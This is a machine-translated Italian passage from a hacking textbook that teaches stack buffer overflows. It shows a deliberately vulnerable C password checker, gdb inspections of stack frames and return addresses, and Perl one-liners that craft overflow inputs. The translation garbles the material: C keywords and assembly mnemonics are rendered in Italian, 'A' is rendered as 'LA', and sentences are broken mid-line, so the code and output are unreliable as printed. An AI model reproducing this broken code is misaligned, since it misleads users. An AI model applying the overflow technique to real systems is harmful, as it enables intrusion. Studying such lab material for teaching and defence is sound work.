printf ("Accesso concesso. \ n");
printf ("- = - = - = - = - = - = - = - = - = - = - = - = - = - \ n");
} altro {
printf ("\ nAccesso negato. \ n");
}
}

Questo programma di esempio accetta una password come unica riga di comando
argomento e quindi chiama una funzione check_authentication () . Questa funzione
consente due password, intese per essere rappresentative di più autenticazioni

122 0x300

Pagina 137

metodi. Se viene utilizzata una di queste password, la funzione restituisce 1, che


concede l'accesso. Dovresti essere in grado di capire la maggior parte di questo solo guardando
il codice sorgente prima di compilarlo. Usa l' opzione -g quando compili
esso, però, poiché ne eseguiremo il debug più tardi.

reader @ hacking: ~ / booksrc $ gcc -g -o auth_overflow auth_overflow.c


lettore @ hacking: ~ / booksrc $ ./auth_overflow
Utilizzo: ./auth_overflow <password>
reader @ hacking: ~ / booksrc $ ./auth_overflow test

Accesso negato.
lettore @ hacking: ~ / booksrc $ ./auth_overflow brillig

-=-=-=-=-=-=-=-=-=-=-=-=-=-
Accesso garantito.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
lettore @ hacking: ~ / booksrc $ ./auth_overflow outgrabe

-=-=-=-=-=-=-=-=-=-=-=-=-=-
Accesso garantito.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
lettore @ hacking: ~ / booksrc $

Finora, tutto funziona come il codice sorgente dice che dovrebbe. Questo deve essere
atteso da qualcosa di deterministico come un programma per computer. Ma un
overflow può portare a comportamenti inaspettati e persino contraddittori, permettendo
accesso senza una password adeguata.

reader @ hacking: ~ / booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
Accesso garantito.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
lettore @ hacking: ~ / booksrc $

Potresti aver già capito cosa è successo, ma diamo un'occhiata a questo


con un debugger per vederne le specifiche.

lettore @ hacking: ~ / booksrc $ gdb -q ./auth_overflow


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) elenco 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication (char * password) {
6 int auth_flag = 0;
7 char password_buffer [16];
8
9 strcpy (password_buffer, password);
10
(gdb)

Sfruttamento 123
Pagina 138

11 if (strcmp (password_buffer, "brillig") == 0)


12 auth_flag = 1;
13 if (strcmp (password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17}
18
19 int main (int argc, char * argv []) {
20 if (argc <2) {
(gdb) break 9
Breakpoint 1 in 0x8048421: file auth_overflow.c, riga 9.
(gdb) pausa 16
Breakpoint 2 in 0x804846f: file auth_overflow.c, riga 16.
(gdb)

Il debugger GDB viene avviato con l' opzione -q per sopprimere il benvenuto
banner e i punti di interruzione sono impostati sulle righe 9 e 16. Quando il programma viene eseguito,
l'esecuzione si fermerà a questi breakpoint e ci darà la possibilità di esaminarli
memoria.

(gdb) eseguire AAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Programma di partenza: / home / reader / booksrc / auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password = 0xbffff9af 'A' <repeats 30 times>) at


auth_overflow.c: 9
9 strcpy (password_buffer, password);
(gdb) x / s password_buffer
0xbffff7a0: ") ???? o ??????) \ 205 \ 004 \ b? O ?? p ???????"
(gdb) x / x & auth_flag
0xbffff7bc: 0x00000000
(gdb) print 0xbffff7bc - 0xbffff7a0
$ 1 = 28
(gdb) x / 16xw password_buffer
0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529
0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000
0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
(gdb)

Il primo punto di interruzione è prima che avvenga strcpy () . Esaminando


il puntatore password_buffer , il debugger mostra che è pieno di random
dati non inizializzati e si trova in 0xbffff7a0 in memoria. Esaminando il file
indirizzo della variabile auth_flag , possiamo vedere sia la sua posizione in 0xbffff7bc
e il suo valore di 0. Il comando print può essere utilizzato per eseguire operazioni aritmetiche e spettacoli
che auth_flag è di 28 byte dopo l'inizio di password_buffer . Questa relazione
può anche essere visto in un blocco di memoria che inizia con password_buffer . Il luogo
L'azione di auth_flag è mostrata in grassetto.

124 0x300

Pagina 139

(gdb) continua
Continuando.

Breakpoint 2, check_authentication (password = 0xbffff9af 'A' <repeats 30 times>) at


auth_overflow.c: 16
16 return auth_flag;
(gdb) x / s password_buffer
0xbffff7a0: "LA" <si ripete 30 volte>
(gdb) x / x & auth_flag
0xbffff7bc: 0x00004141
(gdb) x / 16xw password_buffer
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
(gdb) x / 4cb e auth_flag
0xbffff7bc: 65 'LA' 65 'LA' 0 '\ 0' 0 '\ 0'
(gdb) x / dw e auth_flag
0xbffff7bc: 16705
(gdb)

Continuando al punto di interruzione successivo trovato dopo strcpy () , questi memory


le posizioni vengono esaminate di nuovo. Il password_buffer è andato in overflow in auth_flag ,
cambiando i suoi primi due byte in 0x41 . Il valore di 0x00004141 potrebbe apparire all'indietro
di nuovo, ma ricorda che x 86 ha un'architettura little-endian, quindi dovrebbe
guarda in questo modo. Se esamini singolarmente ciascuno di questi quattro byte, puoi vedere
come la memoria è effettivamente strutturata. Alla fine, il programma tratterà questo problema
valore come numero intero, con un valore di 16705.

(gdb) continua
Continuando.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
Accesso garantito.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

Programma terminato con il codice 034.


(gdb)

Dopo l'overflow, la funzione check_authentication () restituirà 16705


invece di 0. Poiché l'istruzione if considera qualsiasi valore diverso da zero come autentico
ticato, il flusso di esecuzione del programma è controllato nel file autenticato
sezione. In questo esempio, la variabile auth_flag è il punto di controllo dell'esecuzione,
poiché la sovrascrittura di questo valore è l'origine del controllo.
Ma questo è un esempio molto artificioso che dipende dal layout di memoria del file
variabili. In auth_overflow2.c, le variabili vengono dichiarate in ordine inverso.
(Le modifiche a auth_overflow.c sono mostrate in grassetto.)

Sfruttamento 125

Pagina 140

auth_overflow2.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication (char * password) {


char password_buffer [16];
int auth_flag = 0;

strcpy (password_buffer, password);

if (strcmp (password_buffer, "brillig") == 0)


auth_flag = 1;
if (strcmp (password_buffer, "outgrabe") == 0)
auth_flag = 1;

return auth_flag;
}

int main (int argc, char * argv []) {


if (argc <2) {
printf ("Utilizzo:% s <password> \ n", argv [0]);
uscita (0);
}
if (check_authentication (argv [1])) {
printf ("\ n - = - = - = - = - = - = - = - = - = - = - = - = - = - \ n");
printf ("Accesso concesso. \ n");
printf ("- = - = - = - = - = - = - = - = - = - = - = - = - = - \ n");
} altro {
printf ("\ nAccesso negato. \ n");
}
}

Questa semplice modifica mette la variabile auth_flag prima di password_buffer


in memoria. Ciò elimina l'uso della variabile return_value come esecuzione
punto di controllo, poiché non può più essere danneggiato da un overflow.

lettore @ hacking: ~ / booksrc $ gcc -g auth_overflow2.c


lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) elenco 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication (char * password) {
6 char password_buffer [16];
7 int auth_flag = 0;
8
9 strcpy (password_buffer, password);
10
(gdb)

126 0x300

Pagina 141

11 if (strcmp (password_buffer, "brillig") == 0)


12 auth_flag = 1;
13 if (strcmp (password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17}
18
19 int main (int argc, char * argv []) {
20 if (argc <2) {
(gdb) break 9
Breakpoint 1 in 0x8048421: file auth_overflow2.c, riga 9.
(gdb) pausa 16
Breakpoint 2 in 0x804846f: file auth_overflow2.c, riga 16.
(gdb) eseguire AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Programma di partenza: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password = 0xbffff9b7 'A' <repeats 30 times>) at


auth_overflow2.c: 9
9 strcpy (password_buffer, password);
(gdb) x / s password_buffer
0xbffff7c0: "? O ?? \ 200 ???????? o ??? G ?? \ 020 \ 205 \ 004 \ b ????? \ 204 \ 004 \ b ???? \ 020 \ 205 \ 004 \
bH ??????? \ 002 "
(gdb) x / x & auth_flag
0xbffff7bc: 0x00000000
(gdb) x / 16xw e auth_flag
0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8
0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8
0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848
0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
(gdb)

Vengono impostati punti di interruzione simili e un esame della memoria lo mostra


(mostrato in grassetto sopra e sotto) si trova prima di password_buffer
auth_flag
in memoria. Ciò significa che auth_flag non può mai essere sovrascritto da un overflow in
password_buffer .

(gdb) cont
Continuando.

Breakpoint 2, check_authentication (password = 0xbffff9b7 'A' <si ripete 30 volte>)


in auth_overflow2.c: 16
16 return auth_flag;
(gdb) x / s password_buffer
0xbffff7c0: "LA" <si ripete 30 volte>
(gdb) x / x & auth_flag
0xbffff7bc: 0x00000000
(gdb) x / 16xw e auth_flag
0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141
0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848
0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
(gdb)

Sfruttamento 127

Pagina 142

Come previsto, l'overflow non può disturbare la variabile auth_flag , poiché è


situato prima del buffer. Ma esiste un altro punto di controllo dell'esecuzione,
anche se non puoi vederlo nel codice C. Dopotutto, è comodamente situato
le variabili dello stack, in modo che possa essere facilmente sovrascritto. Questa memoria è parte integrante di
funzionamento di tutti i programmi, quindi esiste in tutti i programmi e quando è finito
scritto, di solito si traduce in un arresto anomalo del programma.

(gdb) c
Continuando.

Il programma ha ricevuto il segnale SIGSEGV, errore di segmentazione.


0x08004141 in ?? ()
(gdb)

Ricordiamo dal capitolo precedente che la pila è una delle cinque memorie
segmenti utilizzati dai programmi. Lo stack è una struttura dati FILO utilizzata per
mantenere il flusso di esecuzione e il contesto per le variabili locali durante le chiamate di funzione.
Quando viene chiamata una funzione, una struttura chiamata stack frame viene calettata
lo stack e il registro EIP salta al file
prima istruzione della funzione. Ogni pila return_value variabile

frame contiene le variabili locali per questo


funzione e un indirizzo di ritorno in modo che EIP possa essere
restaurato. Quando la funzione è terminata, lo stack variabile password_buffer
frame è saltato fuori dalla pila e il ritorno
l'indirizzo viene utilizzato per ripristinare EIP. Tutto questo è costruito
nell'architettura ed è solitamente gestito da Puntatore al fotogramma salvato (SFP)

il compilatore, non il programmatore.


Indirizzo di ritorno ( ret )
Quando il check_authentication () funzione
viene chiamato, un nuovo stack frame viene inserito nel file * password (argomento func)

stack sopra lo stack frame di main () . In questa cornice


stack frame di main ()
sono le variabili locali, un indirizzo di ritorno e il
argomenti della funzione.
Possiamo vedere tutti questi elementi nel debugger.

lettore @ hacking: ~ / booksrc $ gcc -g auth_overflow2.c


lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) elenco 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication (char * password) {
6 char password_buffer [16];
7 int auth_flag = 0;
8
9 strcpy (password_buffer, password);
10
(gdb)
11 if (strcmp (password_buffer, "brillig") == 0)

128 0x300

Pagina 143

12 auth_flag = 1;
13 if (strcmp (password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17}
18
19 int main (int argc, char * argv []) {
20 if (argc <2) {
(gdb)
21 printf ("Utilizzo:% s <password> \ n", argv [0]);
22 uscita (0);
23 }
24 if (check_authentication (argv [1])) {
25 printf ("\ n - = - = - = - = - = - = - = - = - = - = - = - = - = - \ n");
26 printf ("Accesso concesso. \ n");
27 printf ("- = - = - = - = - = - = - = - = - = - = - = - = - = - \ n");
28 } altro {
29 printf ("\ nAccesso negato. \ n");
30 }
(gdb) pausa 24
Breakpoint 1 in 0x80484ab: file auth_overflow2.c, riga 24.
(gdb) break 9
Breakpoint 2 a 0x8048421: file auth_overflow2.c, riga 9.
(gdb) pausa 16
Punto di interruzione 3 in 0x804846f: file auth_overflow2.c, riga 16.
(gdb) eseguire AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Programma di partenza: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, main (argc = 2, argv = 0xbffff874) in auth_overflow2.c: 24


24 if (check_authentication (argv [1])) {
(gdb) ir esp
esp 0xbffff7e0 0xbffff7e0
(gdb) x / 32xw $ esp
0xbffff7e0: 0xb8000ce0 0x08048510 0xbffff848 0xb7eafebc
0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898
0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
0xbffff820: 0x40f5f7f0 0x48e0fe81 0x00000000 0x00000000
0xbffff830: 0x00000000 0xb7ff9300 0xb7eafded 0xb8000ff4
0xbffff840: 0x00000002 0x08048350 0x00000000 0x08048371
0xbffff850: 0x08048474 0x00000002 0xbffff874 0x08048510
(gdb)

Il primo punto di interruzione è subito prima della chiamata a check_authentication ()


in main () . A questo punto, lo stack pointer register (ESP) è 0xbffff7e0 e il file
viene visualizzata la parte superiore della pila. Tutto questo fa parte dello stack frame di main () . Continua
al successivo punto di interruzione all'interno di check_authentication () , l'output di seguito
mostra che l'ESP è più piccolo in quanto si sposta verso l'alto nell'elenco di memoria per fare spazio
Lo stack frame di check_authentication () (mostrato in grassetto), che ora si trova nel file
pila. Dopo aver trovato gli indirizzi della variabile auth_flag () e della variabile
password_buffer (), le loro posizioni possono essere viste all'interno dello stack frame.

Sfruttamento 129

Pagina 144

(gdb) c
Continuando.

Breakpoint 2, check_authentication (password = 0xbffff9b7 'A' <repeats 30 times>) at


auth_overflow2.c: 9
9 strcpy (password_buffer, password);
(gdb) ir esp
esp 0xbffff7a0 0xbffff7a0
(gdb) x / 32xw $ esp
0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9
0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4
0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb
0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898
0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
(gdb) p 0xbffff7e0 - 0xbffff7a0
$ 1 = 64
(gdb) x / s password_buffer
0xbffff7c0: "? O ?? \ 200 ???????? o ??? G ?? \ 020 \ 205 \ 004 \ b ????? \ 204 \ 004 \ b ???? \ 020 \ 205 \ 004 \
bH ??????? \ 002 "
(gdb) x / x & auth_flag
0xbffff7bc: 0x00000000
(gdb)

Continuando al secondo punto di interruzione in check_authentication () , uno stack


frame (mostrato in grassetto) viene inserito nello stack quando viene chiamata la funzione.
Poiché lo stack cresce verso l'alto verso indirizzi di memoria inferiori, lo stack
il puntatore è ora di 64 byte in meno a 0xbffff7a0 . La dimensione e la struttura di una pila
frame può variare notevolmente, a seconda della funzione e di alcuni compilatori
ottimizzazioni. Ad esempio, i primi 24 byte di questo stack frame sono solo
padding messo lì dal compilatore. Le variabili dello stack locale, auth_flag e
password_buffer , vengono mostrati nelle rispettive posizioni di memoria nello stack
telaio. L'auth_flag () è mostrato in 0xbffff7bc e 16 byte del
password buffer () sono mostrati in 0xbffff7c0 .
Lo stack frame contiene più delle semplici variabili locali e pad-
ding. Gli elementi dello stack frame check_authentication () sono mostrati di seguito.
Innanzitutto, la memoria salvata per le variabili locali viene visualizzata in corsivo. Questo inizia
alla variabile auth_flag a 0xbffff7bc e continua fino alla fine del file
Variabile password_buffer a 16 byte . I prossimi pochi valori in pila sono solo
riempimento inserito dal compilatore, più qualcosa chiamato puntatore al fotogramma salvato .
Se il programma è compilato con il flag -fomit-frame-pointer per l'ottimizzazione-
zione, il puntatore del fotogramma non verrà utilizzato nello stack frame. Al valore
0x080484bb è l'indirizzo di ritorno dello stack frame e all'indirizzo
0xbffffe9b7è un puntatore a una stringa contenente 30 A s. Questo deve essere l'argomento
ment alla funzione check_authentication () .

(gdb) x / 32xw $ esp


0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9
0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4

130 0x300
Pagina 145

0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb


0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898
0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
(gdb) x / 32xb 0xbffff9b7
0xbffff9b7: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff9bf: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff9c7: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff9cf: 0x41 0x41 0x41 0x41 0x41 0x41 0x00 0x53
(gdb) x / s 0xbffff9b7
0xbffff9b7: "LA" <si ripete 30 volte>
(gdb)

L'indirizzo di ritorno in uno stack frame può essere individuato mediante comprensione
come viene creato lo stack frame. Questo processo inizia nella funzione main () ,
anche prima della chiamata alla funzione.

(gdb) disass main


Dump del codice assembler per la funzione main:
0x08048474 <main + 0>: push ebp
0x08048475 <principale + 1>: mov ebp, esp
0x08048477 <principale + 3>: sub esp, 0x8
0x0804847a <main + 6>: ed esp, 0xfffffff0
0x0804847d <main + 9>: mov eax, 0x0
0x08048482 <main + 14>: sub esp, eax
0x08048484 <main + 16>: cmp DWORD PTR [ebp + 8], 0x1
0x08048488 <principale + 20>: jg 0x80484ab <principale + 55>
0x0804848a <main + 22>: mov eax, DWORD PTR [ebp + 12]
0x0804848d <main + 25>: mov eax, DWORD PTR [eax]
0x0804848f <main + 27>: mov DWORD PTR [esp + 4], eax
0x08048493 <main + 31>: mov DWORD PTR [esp], 0x80485e5
0x0804849a <main + 38>: chiama 0x804831c <printf @ plt>
0x0804849f <main + 43>: mov DWORD PTR [esp], 0x0
0x080484a6 <main + 50>: chiama 0x804833c <exit @ plt>
0x080484ab <main + 55>: mov eax, DWORD PTR [ebp + 12]
0x080484ae <main + 58>: aggiungi eax, 0x4
0x080484b1 <main + 61>: mov eax, DWORD PTR [eax]
0x080484b3 <main + 63>: mov DWORD PTR [esp], eax
0x080484b6 <main + 66>: chiama 0x8048414 <check_authentication>
0x080484bb <main + 71>: test eax, eax
0x080484bd <main + 73>: je 0x80484e5 <main + 113>
0x080484bf <main + 75>: mov DWORD PTR [esp], 0x80485fb
0x080484c6 <main + 82>: chiama 0x804831c <printf @ plt>
0x080484cb <main + 87>: mov DWORD PTR [esp], 0x8048619
0x080484d2 <main + 94>: chiama 0x804831c <printf @ plt>
0x080484d7 <principale + 99>: mov DWORD PTR [esp], 0x8048630
0x080484de <main + 106>: chiama 0x804831c <printf @ plt>
0x080484e3 <main + 111>: jmp 0x80484f1 <main + 125>
0x080484e5 <main + 113>: mov DWORD PTR [esp], 0x804864d
0x080484ec <main + 120>: chiama 0x804831c <printf @ plt>
0x080484f1 <main + 125>: abbandona
0x080484f2 <principale + 126>: ret
Fine del dump dell'assemblatore.
(gdb)

Sfruttamento 131

Pagina 146

Notare le due linee mostrate in grassetto a pagina 131. A questo punto, l'EAX
register contiene un puntatore al primo argomento della riga di comando. Questo è anche il file
argomento per check_authentication () . Questa prima istruzione di assemblaggio scrive EAX
nel punto in cui punta ESP (la parte superiore della pila). Questo avvia lo stack frame per
con l'argomento della funzione. La seconda istruzione
check_authentication ()
è la chiamata effettiva. Questa istruzione spinge l'indirizzo dell'istruzione successiva
nello stack e sposta il registro del puntatore di esecuzione (EIP) all'inizio del file
. L'indirizzo inserito nello stack è il ritorno
funzione check_authentication ()
indirizzo per lo stack frame. In questo caso, l'indirizzo dell'istruzione successiva è
0x080484bb , quindi questo è l'indirizzo del mittente.

(gdb) disassegna check_authentication


Dump del codice assembler per la funzione check_authentication:
0x08048414 <check_authentication + 0>: push ebp
0x08048415 <check_authentication + 1>: mov ebp, esp
0x08048417 <check_authentication + 3>: sub esp, 0x38

...

0x08048472 <check_authentication + 94>: leave


0x08048473 <check_authentication + 95>: ret
Fine del dump dell'assemblatore.
(gdb) p 0x38
$ 3 = 56
(gdb) p 0x38 + 4 + 4
$ 4 = 64
(gdb)

L'esecuzione continuerà nella funzione check_authentication () come EIP


modificato e le prime istruzioni (mostrate in grassetto sopra) terminano il salvataggio
memoria per lo stack frame. Queste istruzioni sono note come la funzione
prologo. Le prime due istruzioni riguardano il puntatore al fotogramma salvato e il file
la terza istruzione sottrae 0x38 da ESP. Ciò consente di risparmiare 56 byte per il local
variabili della funzione. L'indirizzo del mittente e il puntatore del frame salvato
sono già inseriti nello stack e tengono conto degli 8 byte aggiuntivi di
lo stack frame da 64 byte.
Al termine della funzione, le istruzioni leave e ret rimuovono il file
stack frame e imposta il registro del puntatore di esecuzione (EIP) sul ritorno salvato
indirizzo nello stack frame (). Questo riporta l'esecuzione del programma a
l'istruzione successiva in main () dopo la chiamata alla funzione 0x080484bb . Questo processo
accade ogni volta che una funzione viene chiamata in qualsiasi programma.

(gdb) x / 32xw $ esp


0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9
0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4
0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb
0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898
0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848

132 0x300

Pagina 147

(gdb) cont
Continuando.

Breakpoint 3, check_authentication (password = 0xbffff9b7 'A' <si ripete 30 volte>)


in auth_overflow2.c: 16
16 return auth_flag;
(gdb) x / 32xw $ esp
0xbffff7a0: 0xbffff7c0 0x080485dc 0xbffff7b8 0x080482d9
0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
0xbffff7c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7d0: 0x41414141 0x41414141 0x41414141 0x08004141
0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898
0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
(gdb) cont
Continuando.

Il programma ha ricevuto il segnale SIGSEGV, errore di segmentazione.


0x08004141 in ?? ()
(gdb)

Quando alcuni byte dell'indirizzo del mittente salvato vengono sovrascritti, il file
il programma proverà comunque a utilizzare quel valore per ripristinare il registro del puntatore di esecuzione
ter (EIP). Ciò di solito si traduce in un arresto anomalo, poiché l'esecuzione è essenzialmente saltellante
in una posizione casuale. Ma questo valore non deve essere casuale. Se il
la scrittura è controllata, l'esecuzione può, a sua volta, essere controllata per passare a uno specifico
Posizione. Ma dove dovremmo dirgli di andare?

0x330 Sperimentando con BASH


Poiché gran parte dell'hacking è radicato nello sfruttamento e nella sperimentazione, il
la capacità di provare rapidamente cose diverse è fondamentale. La shell BASH e Perl sono
comuni sulla maggior parte delle macchine e sono tutto ciò che è necessario per sperimentare
sfruttamento.
Perl è un linguaggio di programmazione interpretato con un comando print che
risulta essere particolarmente adatto a generare lunghe sequenze di personaggi.
Perl può essere utilizzato per eseguire istruzioni sulla riga di comando utilizzando il
-e cambia in questo modo:

reader @ hacking: ~ / booksrc $ perl -e 'print "A" x 20;'


AAAAAAAAAAAAAAAAAAAA

Questo comando dice a Perl di eseguire i comandi trovati tra i file


virgolette singole: in questo caso, un singolo comando di print "A" x 20; . Questo comp
mand stampa il carattere A 20 volte.
Qualsiasi carattere, ad esempio un carattere non stampabile, può essere stampato anche da
utilizzando \ x ## , dove ## è il valore esadecimale del carattere. Nel seguente
esempio, questa notazione è usata per stampare il carattere A , che ha l'esagono
valore decimale di 0x41 .

Sfruttamento 133

Pagina 148

reader @ hacking: ~ / booksrc $ perl -e 'print "\ x41" x 20;'


AAAAAAAAAAAAAAAAAAAA

Inoltre, la concatenazione di stringhe può essere eseguita in Perl con un punto ( . ).


Ciò può essere utile quando si mettono insieme più indirizzi.

reader @ hacking: ~ / booksrc $ perl -e 'print "A" x20. "BCD". "\ x61 \ x66 \ x67 \ x69" x2. "Z"; "
AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ

Un intero comando di shell può essere eseguito come una funzione, restituendo il suo
uscita in atto. Questo viene fatto racchiudendo il comando tra parentesi
e anteponendo un segno di dollaro. Ecco due esempi:

lettore @ hacking: ~ / booksrc $ $ (perl -e 'print "uname";')


Linux
reader @ hacking: ~ / booksrc $ una $ (perl -e 'print "m";') e
Linux
lettore @ hacking: ~ / booksrc $

In ogni caso, l'output del comando trovato tra parentesi


viene sostituito al comando e viene eseguito il comando uname . Questo
L'esatto effetto di sostituzione dei comandi può essere ottenuto con un accento grave
segni ( ` , virgolette singole inclinate sulla tilde). Puoi usare qualunque
la sintassi ti sembra più naturale; tuttavia, la sintassi delle parentesi è più semplice
da leggere per la maggior parte delle persone.

reader @ hacking: ~ / booksrc $ u`perl -e 'print "na";' `me


Linux
reader @ hacking: ~ / booksrc $ u $ (perl -e 'print "na";') me
Linux
lettore @ hacking: ~ / booksrc $

Sostituzione dei comandi e Perl possono essere usati in combinazione per rapidamente
generare buffer di overflow al volo. Puoi usare questa tecnica per testare facilmente
il programma overflow_example.c con buffer di lunghezze precise.

reader @ hacking: ~ / booksrc $ ./overflow_example $ (perl -e 'print "A" x30')


[BEFORE] buffer_two è a 0xbffff7e0 e contiene "due"
[BEFORE] buffer_one è a 0xbffff7e8 e contiene "uno"
[PRIMA] il valore è 0xbffff7f4 ed è 5 (0x00000005)

[STRCPY] copia 30 byte in buffer_two

[DOPO] buffer_two è a 0xbffff7e0 e contiene "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA"


[DOPO] buffer_one è a 0xbffff7e8 e contiene "AAAAAAAAAAAAAAAAAAAAAA"
[DOPO] il valore è a 0xbffff7f4 ed è 1094795585 (0x41414141)
Errore di segmentazione (core dump)
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) print 0xbffff7f4 - 0xbffff7e0
$ 1 = 20

134 0x300

Pagina 149

(gdb) esci
reader @ hacking: ~ / booksrc $ ./overflow_example $ (perl -e 'print "A" x20. "ABCD"')
[BEFORE] buffer_two è a 0xbffff7e0 e contiene "due"
[BEFORE] buffer_one è a 0xbffff7e8 e contiene "uno"
[PRIMA] il valore è 0xbffff7f4 ed è 5 (0x00000005)

[STRCPY] copia 24 byte in buffer_two

[DOPO] buffer_two è a 0xbffff7e0 e contiene "AAAAAAAAAAAAAAAAAAAABCD"


[DOPO] buffer_one è a 0xbffff7e8 e contiene "AAAAAAAAAAAAABCD"
[DOPO] il valore è a 0xbffff7f4 ed è 1145258561 (0x44434241)
lettore @ hacking: ~ / booksrc $

Nell'output sopra, GDB viene utilizzato come calcolatrice esadecimale per calcolare
la distanza tra buffer_two ( 0xbfffff7e0 ) e la variabile value
( 0xbffff7f4 ), che risulta essere di 20 byte. Usando questa distanza, il valore
variabile viene sovrascritta con il valore esatto 0x44434241 , poiché i caratteri A ,
B , C e D hanno i valori esadecimali di 0x41 , 0x42 , 0x43 e 0x44 , rispettivamente. Il
il primo carattere è il byte meno significativo, a causa dell'architettura little-endian
tura. Ciò significa che se si desidera controllare la variabile valore con qualcosa
esatto, come 0xdeadbeef , devi scrivere quei byte in memoria in ordine inverso.

lettore @ hacking: ~ / booksrc $ ./overflow_example $ (perl -e 'print "A" x20. "\ xef \ xbe \ xad \ xde"')
[BEFORE] buffer_two è a 0xbffff7e0 e contiene "due"
[BEFORE] buffer_one è a 0xbffff7e8 e contiene "uno"
[PRIMA] il valore è 0xbffff7f4 ed è 5 (0x00000005)

[STRCPY] copia 24 byte in buffer_two

[DOPO] buffer_two è a 0xbffff7e0 e contiene "AAAAAAAAAAAAAAAAAAAA ??"


[DOPO] buffer_one è a 0xbffff7e8 e contiene "AAAAAAAAAAAA ??"
